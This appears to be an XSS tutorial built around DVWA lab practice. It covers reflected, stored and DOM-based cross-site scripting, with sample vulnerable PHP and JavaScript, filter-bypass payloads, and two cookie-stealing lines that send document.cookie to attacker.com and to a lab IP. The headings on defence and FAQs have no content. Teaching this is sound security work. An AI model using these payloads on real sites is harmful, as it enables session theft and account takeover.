In 2005, a single stored XSS worm on Myspace infected over one million profiles in under 24 hours. A teenager named Samy Kamkar wrote 4 kilobytes of JavaScript that spread itself automatically — adding him to every visitor’s friend list, displaying “but most of all, samy is my hero” on every infected page. He was arrested. The vulnerability he exploited is the same vulnerability that still appears consistently in bug bounty programmes in 2026. A single line of unescaped JavaScript in the wrong place.
This XSS Cross Site Scripting tutorial covers XSS from the ground up — what it is, all three types, step-by-step DVWA lab practice, real payload examples that work on modern applications, cookie-stealing demonstration, and how to defend against it. All practised on your own intentionally vulnerable environment.
What Is Cross-Site Scripting?
XSS is a vulnerability where an attacker injects malicious JavaScript into a page that then executes in other users’ browsers. Unlike most web vulnerabilities that target the server, XSS targets the people using the application. Every user who loads the affected page becomes a victim.
The attack surface is enormous: any place where user input is displayed back in the browser without proper encoding is a potential XSS point — search boxes, comment fields, usernames, error messages, URL parameters, form fields, and HTTP headers all reflectable into page content.
For the broader web security context, see Day 4: OWASP Top 10 Explained — XSS appears as A03:2021 Injection.
Type 1 — Reflected XSS (Non-Persistent)
The server takes user input from a URL parameter or form, includes it in the HTML response without encoding, and the browser executes any injected script. The payload is never stored — it only executes when the victim follows a link containing the payload.
<?php echo “You searched for: ” . $_GET[‘q’]; ?>
# Normal URL:
https://site.com/search?q=kali+linux
# Attacker’s crafted URL with payload:
https://site.com/search?q=<script>alert(‘XSS’)</script>
# DVWA Lab (Security: Low) — test in XSS (Reflected) module:
Input: <script>alert(document.cookie)</script>
Result: Alert box displays session cookie ← XSS confirmed
Type 2 — Stored XSS (Persistent)
The payload is saved to the database — in a comment, a profile field, a product review, a forum post. Every user who loads the affected page gets the script executed in their browser automatically. No link-clicking required. This is why stored XSS typically pays higher bug bounties than reflected XSS.
# Name field: enter anything
# Message field — inject the payload:
<script>document.location=’http://attacker.com/steal?c=’+document.cookie</script>
# Submit. Now every user who views the guestbook page
# executes this script. Their cookies are sent to attacker.com
# This is stored XSS in action on your own lab ✓
Type 3 — DOM-Based XSS
DOM XSS occurs when client-side JavaScript reads data from an attacker-controllable source (URL hash, location.search) and passes it to a dangerous sink (innerHTML, document.write, eval) without sanitisation. The payload never reaches the server — server logs show a normal request, and server-side filters provide no protection.
var name = location.hash.substring(1);
document.getElementById(‘greeting’).innerHTML = ‘Hello ‘ + name;
# Exploit URL — payload in URL hash (never sent to server):
https://site.com/greet.html#<img src=x onerror=alert(1)>
# Common DOM XSS sources (attacker-controlled input):
location.href · location.search · location.hash
document.URL · document.referrer · window.name
# Common DOM XSS sinks (dangerous functions):
innerHTML · outerHTML · document.write · eval()
setTimeout(string) · setInterval(string) · $.html()
XSS Payload Reference — Context-Aware Testing
Cookie Stealing Demo — How XSS Leads to Account Takeover
This is the real-world impact scenario that makes stored XSS a high-severity finding in bug bounty programmes. Session cookies — when not protected with the HttpOnly flag — are readable by JavaScript. A stored XSS payload can silently transmit every visitor’s session cookie to an attacker-controlled server.
<script>fetch(‘http://192.168.56.1/?c=’+btoa(document.cookie))</script>
Filter Bypass Techniques — DVWA Medium Level
DVWA Medium security replaces <script> tags with empty strings. This is a blacklist approach — filter bypass techniques exploit the gaps in blacklists. Understanding these is essential for real application testing where basic payloads are filtered.
<img src=x onerror=alert(1)> ← no script tag needed
<SVG/ONLOAD=alert(1)> ← case variation
<scr<script>ipt>alert(1)</scr</script>ipt> ← nested tag bypass
# Encoding bypasses for WAF evasion:
<img src=x onerror=alert(1)> ← HTML entity encoded alert
<a href=”javas cript:alert(1)”>click</a> ← tab char in protocol
For an advanced XSS case study with real application bypass techniques, see our Real XSS Case Study: 15 Steps and DVWA Day 5: Advanced XSS Hunting.
Defence — How to Prevent XSS in 2026
Frequently Asked Questions – XSS Cross Site Scripting Tutorial
The thing beginners miss about XSS is that alert(1) is not the vulnerability — it is just the proof. The vulnerability is that JavaScript executes at all. When writing bug bounty reports, the impact statement needs to go beyond “alert box appeared.” Demonstrate what an attacker actually does with that JavaScript execution: document.cookie, keylogger, redirects. That is what converts an “informative” to a “high severity” finding.






